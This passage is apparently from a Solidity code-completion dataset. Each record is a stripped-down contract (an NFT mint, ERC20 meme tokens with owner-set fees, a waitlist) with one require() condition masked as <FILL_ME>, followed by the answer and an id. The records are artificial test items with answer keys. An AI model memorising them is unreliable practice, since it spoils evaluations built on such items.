pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { require(!publicSalePaused, "Public minting is paused."); require(publicSaleStartTime <= block.timestamp, "Public sale is not active yet!"); require(<FILL_ME>) require(_mintAmount + totalSupply() <= currentMaxSupply(SUPPLY_MAX), "Exceeds allowed max supply for this phase!"); unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; } _safeMint(msg.sender, _mintAmount); } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
msg.value>=(PRICE*_mintAmount),"Insufficient funds!"
98,819
msg.value>=(PRICE*_mintAmount)
"Exceeds allowed max supply for this phase!"
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { require(!publicSalePaused, "Public minting is paused."); require(publicSaleStartTime <= block.timestamp, "Public sale is not active yet!"); require(msg.value >= (PRICE * _mintAmount), "Insufficient funds!"); require(<FILL_ME>) unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; } _safeMint(msg.sender, _mintAmount); } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
_mintAmount+totalSupply()<=currentMaxSupply(SUPPLY_MAX),"Exceeds allowed max supply for this phase!"
98,819
_mintAmount+totalSupply()<=currentMaxSupply(SUPPLY_MAX)
"Max TX Limit Exceeded"
// SPDX-License-Identifier: MIT /* Portal : https://t.me/ThePassionoftheChristErc Twitter : https://twitter.com/Christ_Erc */ pragma solidity 0.8.18; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface ERC20 { function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { } modifier onlyOwner() { } function isOwner(address account) public view returns (bool) { } function renounceOwnership() external onlyOwner { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ERC20PASSIONOFTHECHRIST is ERC20, Auth { using SafeMath for uint256; address immutable WETH; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string public constant name = "The Passion of The Christ"; string public constant symbol = "Christ"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 777_777_777 * 10**decimals; uint256 public _maxTxAmount = totalSupply / 100; uint256 public _maxWalletToken = totalSupply / 100; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isWalletLimitExempt; uint256 marketingFee = 5; uint256 operationsFee = 5; uint256 public totalFee = marketingFee + operationsFee; uint256 public constant feeDenominator = 100; uint256 buyMultiplier = 150; uint256 sellMultiplier = 150; uint256 transferMultiplier = 0; address marketingFeeReceiver; address operationsFeeReceiver; IDEXRouter public immutable router; address public immutable pair; bool swapEnabled = true; uint256 swapThreshold = totalSupply / 100; bool inSwap; modifier swapping() { } constructor () Auth(msg.sender) { } receive() external payable { } function getOwner() external view override returns (address) { } function allowance(address holder, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function approveMax(address spender) external returns (bool) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner { } function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner { } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (!isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) { require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached"); } require(<FILL_ME>) if(shouldSwapBack()){ swapBack(); } balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient); balanceOf[recipient] = balanceOf[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { } function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner { } function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner { } function getCirculatingSupply() public view returns (uint256) { } function shouldSwapBack() internal view returns (bool) { } function clearStuckBalance(uint256 amountPercentage) external onlyOwner { } function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) { } function swapBack() internal swapping { } }
(amount<=_maxTxAmount)||isTxLimitExempt[sender]||isTxLimitExempt[recipient],"Max TX Limit Exceeded"
98,843
(amount<=_maxTxAmount)||isTxLimitExempt[sender]||isTxLimitExempt[recipient]
"Total fee percentage exceeds 100"
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; // /$$$$$$$ /$$ /$$$$$$ /$$ // | $$__ $$ | $$ /$$__ $$ |__/ // | $$ \ $$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$| $$ \__/ /$$$$$$ /$$ /$$$$$$$ // | $$ | $$ /$$__ $$| $$__ $$| $$ | $$|_ $$_/ /$$_____/| $$ /$$__ $$| $$| $$__ $$ // | $$ | $$| $$ \ $$| $$ \ $$| $$ | $$ | $$ | $$$$$$ | $$ | $$ \ $$| $$| $$ \ $$ // | $$ | $$| $$ | $$| $$ | $$| $$ | $$ | $$ /$$\____ $$| $$ $$| $$ | $$| $$| $$ | $$ // | $$$$$$$/| $$$$$$/| $$ | $$| $$$$$$/ | $$$$//$$$$$$$/| $$$$$$/| $$$$$$/| $$| $$ | $$ // |_______/ \______/ |__/ |__/ \______/ \___/ |_______/ \______/ \______/ |__/|__/ |__/ /// @title DonutsCoin /******************************************************************************************** INTERFACE ********************************************************************************************/ interface IERC20 { // EVENT event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); // FUNCTION function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IPair { // FUNCTION function token0() external view returns (address); function token1() external view returns (address); } interface IFactory { // FUNCTION function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IRouter { // FUNCTION function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable; function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface ICommonError { // ERROR error CannotUseCurrentAddress(address current); error CannotUseCurrentValue(uint256 current); error CannotUseCurrentState(bool current); error InvalidAddress(address invalid); error InvalidValue(uint256 invalid); } /******************************************************************************************** ACCESS ********************************************************************************************/ abstract contract Ownable { // DATA address private _owner; // MODIFIER modifier onlyOwner() { } // ERROR error InvalidOwner(address account); error UnauthorizedAccount(address account); // CONSTRUCTOR constructor(address initialOwner) { } // EVENT event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); // FUNCTION function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } /******************************************************************************************** TOKEN ********************************************************************************************/ contract DonutsCoin is Ownable, ICommonError, IERC20 { // DATA IRouter public router; string private constant NAME = "DonutsCoin"; string private constant SYMBOL = "DONUTS"; uint8 private constant DECIMALS = 18; uint256 private _totalSupply; uint256 public constant FEEDENOMINATOR = 10_000; uint256 public constant TRANSFERFEE = 0; uint256 public buyFee = 100; uint256 public sellFee = 200; uint256 public burnFeePercentage = 0; uint256 public liquidityFeePercentage = 0; uint256 public marketingFeePercentage = 0; address public marketingWallet = 0x7c983436362602Ca3A38a7d518409E1f08B10c66; address public projectWallet = 0x7c983436362602Ca3A38a7d518409E1f08B10c66; address public feeWallet = 0x7c983436362602Ca3A38a7d518409E1f08B10c66; uint256 public totalFeeCollected = 0; uint256 public minSwap = 1_000 ether; bool public tradeEnabled = false; bool public isFeeActive = false; bool public inSwap = false; bool public isSwapEnabled = false; address public pair; // MAPPING mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludeFromFees; mapping(address => bool) public isPairLP; // MODIFIER modifier swapping() { } // ERROR error InvalidTradeEnabledState(bool current); error InvalidFeeActiveState(bool current); error InvalidSwapEnabledState(bool current); error PresaleAlreadyFinalized(bool current); error TradeDisabled(); error InvalidFee(); // CONSTRUCTOR constructor() Ownable(msg.sender) { } // EVENT event UpdateRouter( address oldRouter, address newRouter, address caller, uint256 timestamp ); event UpdateMinSwap( uint256 oldMinSwap, uint256 newMinSwap, address caller, uint256 timestamp ); event UpdateFeeActive( bool oldStatus, bool newStatus, address caller, uint256 timestamp ); event UpdateSwapEnabled( bool oldStatus, bool newStatus, address caller, uint256 timestamp ); event AutoRedeem( uint256 feeDistribution, uint256 amountToRedeem, address caller, uint256 timestamp ); event EnableTrading( bool oldStatus, bool newStatus, address caller, uint256 timestamp ); // FUNCTION /* General */ receive() external payable {} function enableTrading() external onlyOwner { } /* Check */ function isDonut() external pure returns (bool) { } function circulatingSupply() external view returns (uint256) { } /* Update */ function updateRouter(address newRouter) external onlyOwner { } function updateMinSwap(uint256 newMinSwap) external onlyOwner { } function updateFeeActive(bool newStatus) external onlyOwner { } function updateWallets(address _project, address _marketing, address _fee) external onlyOwner { } function updateSwapEnabled(bool newStatus) external onlyOwner { } function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner { } function setFeePercentages(uint256 _burnFee, uint256 _liquidityFee, uint256 _marketingFee) public onlyOwner { require(<FILL_ME>) burnFeePercentage = _burnFee; liquidityFeePercentage = _liquidityFee; marketingFeePercentage = _marketingFee; } function setExcludeFromFees(address user, bool status) external onlyOwner { } function setPairLP(address lpPair, bool status) external onlyOwner { } /* Fee */ function takeBuyFee(address from, uint256 amount) internal swapping returns (uint256) { } function takeSellFee(address from, uint256 amount) internal swapping returns (uint256) { } function swapBack() internal swapping { } function distributeFee(address from, uint256 feeAmount) internal swapping { } function takeTransferFee( address from, uint256 amount ) internal swapping returns (uint256) { } /* ERC20 Standard */ function name() external view virtual override returns (string memory) { } function symbol() external view virtual override returns (string memory) { } function decimals() external view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf( address account ) public view virtual override returns (uint256) { } function transfer( address to, uint256 amount ) external virtual override returns (bool) { } function allowance( address provider, address spender ) public view virtual override returns (uint256) { } function approve( address spender, uint256 amount ) public virtual override returns (bool) { } function transferFrom( address from, address to, uint256 amount ) external virtual override returns (bool) { } function increaseAllowance( address spender, uint256 addedValue ) external virtual returns (bool) { } function decreaseAllowance( address spender, uint256 subtractedValue ) external virtual returns (bool) { } function _mint(address account, uint256 amount) internal virtual { } function _approve( address provider, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address provider, address spender, uint256 amount ) internal virtual { } /* Additional */ function _basicTransfer( address from, address to, uint256 amount ) internal returns (bool) { } /* Overrides */ function _transfer( address from, address to, uint256 amount ) internal virtual returns (bool) { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual swapping returns (uint256) { } }
_burnFee+_liquidityFee+_marketingFee<=100,"Total fee percentage exceeds 100"
98,848
_burnFee+_liquidityFee+_marketingFee<=100
"ERC20: transfer amount exceeds balance"
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; // /$$$$$$$ /$$ /$$$$$$ /$$ // | $$__ $$ | $$ /$$__ $$ |__/ // | $$ \ $$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$| $$ \__/ /$$$$$$ /$$ /$$$$$$$ // | $$ | $$ /$$__ $$| $$__ $$| $$ | $$|_ $$_/ /$$_____/| $$ /$$__ $$| $$| $$__ $$ // | $$ | $$| $$ \ $$| $$ \ $$| $$ | $$ | $$ | $$$$$$ | $$ | $$ \ $$| $$| $$ \ $$ // | $$ | $$| $$ | $$| $$ | $$| $$ | $$ | $$ /$$\____ $$| $$ $$| $$ | $$| $$| $$ | $$ // | $$$$$$$/| $$$$$$/| $$ | $$| $$$$$$/ | $$$$//$$$$$$$/| $$$$$$/| $$$$$$/| $$| $$ | $$ // |_______/ \______/ |__/ |__/ \______/ \___/ |_______/ \______/ \______/ |__/|__/ |__/ /// @title DonutsCoin /******************************************************************************************** INTERFACE ********************************************************************************************/ interface IERC20 { // EVENT event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); // FUNCTION function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IPair { // FUNCTION function token0() external view returns (address); function token1() external view returns (address); } interface IFactory { // FUNCTION function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IRouter { // FUNCTION function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable; function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface ICommonError { // ERROR error CannotUseCurrentAddress(address current); error CannotUseCurrentValue(uint256 current); error CannotUseCurrentState(bool current); error InvalidAddress(address invalid); error InvalidValue(uint256 invalid); } /******************************************************************************************** ACCESS ********************************************************************************************/ abstract contract Ownable { // DATA address private _owner; // MODIFIER modifier onlyOwner() { } // ERROR error InvalidOwner(address account); error UnauthorizedAccount(address account); // CONSTRUCTOR constructor(address initialOwner) { } // EVENT event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); // FUNCTION function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } /******************************************************************************************** TOKEN ********************************************************************************************/ contract DonutsCoin is Ownable, ICommonError, IERC20 { // DATA IRouter public router; string private constant NAME = "DonutsCoin"; string private constant SYMBOL = "DONUTS"; uint8 private constant DECIMALS = 18; uint256 private _totalSupply; uint256 public constant FEEDENOMINATOR = 10_000; uint256 public constant TRANSFERFEE = 0; uint256 public buyFee = 100; uint256 public sellFee = 200; uint256 public burnFeePercentage = 0; uint256 public liquidityFeePercentage = 0; uint256 public marketingFeePercentage = 0; address public marketingWallet = 0x7c983436362602Ca3A38a7d518409E1f08B10c66; address public projectWallet = 0x7c983436362602Ca3A38a7d518409E1f08B10c66; address public feeWallet = 0x7c983436362602Ca3A38a7d518409E1f08B10c66; uint256 public totalFeeCollected = 0; uint256 public minSwap = 1_000 ether; bool public tradeEnabled = false; bool public isFeeActive = false; bool public inSwap = false; bool public isSwapEnabled = false; address public pair; // MAPPING mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludeFromFees; mapping(address => bool) public isPairLP; // MODIFIER modifier swapping() { } // ERROR error InvalidTradeEnabledState(bool current); error InvalidFeeActiveState(bool current); error InvalidSwapEnabledState(bool current); error PresaleAlreadyFinalized(bool current); error TradeDisabled(); error InvalidFee(); // CONSTRUCTOR constructor() Ownable(msg.sender) { } // EVENT event UpdateRouter( address oldRouter, address newRouter, address caller, uint256 timestamp ); event UpdateMinSwap( uint256 oldMinSwap, uint256 newMinSwap, address caller, uint256 timestamp ); event UpdateFeeActive( bool oldStatus, bool newStatus, address caller, uint256 timestamp ); event UpdateSwapEnabled( bool oldStatus, bool newStatus, address caller, uint256 timestamp ); event AutoRedeem( uint256 feeDistribution, uint256 amountToRedeem, address caller, uint256 timestamp ); event EnableTrading( bool oldStatus, bool newStatus, address caller, uint256 timestamp ); // FUNCTION /* General */ receive() external payable {} function enableTrading() external onlyOwner { } /* Check */ function isDonut() external pure returns (bool) { } function circulatingSupply() external view returns (uint256) { } /* Update */ function updateRouter(address newRouter) external onlyOwner { } function updateMinSwap(uint256 newMinSwap) external onlyOwner { } function updateFeeActive(bool newStatus) external onlyOwner { } function updateWallets(address _project, address _marketing, address _fee) external onlyOwner { } function updateSwapEnabled(bool newStatus) external onlyOwner { } function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner { } function setFeePercentages(uint256 _burnFee, uint256 _liquidityFee, uint256 _marketingFee) public onlyOwner { } function setExcludeFromFees(address user, bool status) external onlyOwner { } function setPairLP(address lpPair, bool status) external onlyOwner { } /* Fee */ function takeBuyFee(address from, uint256 amount) internal swapping returns (uint256) { } function takeSellFee(address from, uint256 amount) internal swapping returns (uint256) { } function swapBack() internal swapping { } function distributeFee(address from, uint256 feeAmount) internal swapping { } function takeTransferFee( address from, uint256 amount ) internal swapping returns (uint256) { } /* ERC20 Standard */ function name() external view virtual override returns (string memory) { } function symbol() external view virtual override returns (string memory) { } function decimals() external view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf( address account ) public view virtual override returns (uint256) { } function transfer( address to, uint256 amount ) external virtual override returns (bool) { } function allowance( address provider, address spender ) public view virtual override returns (uint256) { } function approve( address spender, uint256 amount ) public virtual override returns (bool) { } function transferFrom( address from, address to, uint256 amount ) external virtual override returns (bool) { } function increaseAllowance( address spender, uint256 addedValue ) external virtual returns (bool) { } function decreaseAllowance( address spender, uint256 subtractedValue ) external virtual returns (bool) { } function _mint(address account, uint256 amount) internal virtual { } function _approve( address provider, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address provider, address spender, uint256 amount ) internal virtual { } /* Additional */ function _basicTransfer( address from, address to, uint256 amount ) internal returns (bool) { } /* Overrides */ function _transfer( address from, address to, uint256 amount ) internal virtual returns (bool) { if (from == address(0)) { revert InvalidAddress(from); } if (to == address(0)) { revert InvalidAddress(to); } if ( !tradeEnabled && !isExcludeFromFees[from] && !isExcludeFromFees[to] ) { revert TradeDisabled(); } if (inSwap || isExcludeFromFees[from]) { return _basicTransfer(from, to, amount); } uint256 newAmount = amount; if (isFeeActive && !isExcludeFromFees[from] && !isExcludeFromFees[to]) { newAmount = _beforeTokenTransfer(from, to, amount); } if (from != pair && balanceOf(address(this)) >= minSwap && isSwapEnabled) { swapBack(); } require(<FILL_ME>) unchecked { _balances[from] = _balances[from] - newAmount; _balances[to] += newAmount; } emit Transfer(from, to, newAmount); return true; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual swapping returns (uint256) { } }
_balances[from]>=newAmount,"ERC20: transfer amount exceeds balance"
98,848
_balances[from]>=newAmount
"Already on the waitlist"
// SPDX-License-Identifier: MIT /** * @title EntitoSidai Waitlist Proof * @author @sidaiLabs * @notice Paying the gas fee to join the waitlist is proof of genuine interest in the * project and helps ensure that only serious participants can mint in the private sale. * This helps prevent the waitlist, which has limited seats,from being filled with * non-serious participants. The addresses collected here will be used when creating opensea drop. */ pragma solidity ^0.8.4; contract EntitoSidaiWaitlistProof { // Waitlist mapping(address => bool) public waitlisted; uint256 public seatsFilled; uint256 public MAX_SEATS = 500; address public owner; constructor() { } /** * @notice Join the waitlist. */ function joinWaitlist() public { require(seatsFilled < MAX_SEATS, "Waitlist is full"); require(<FILL_ME>) waitlisted[msg.sender] = true; seatsFilled++; } /** * @notice Function to set Max waitlist seats. */ function setMaxSeats(uint256 seats) onlyOwner public { } /** * @notice Modifier to check if the caller is the contract owner. */ modifier onlyOwner() { } }
!waitlisted[msg.sender],"Already on the waitlist"
98,898
!waitlisted[msg.sender]
"Exceeded the limit"
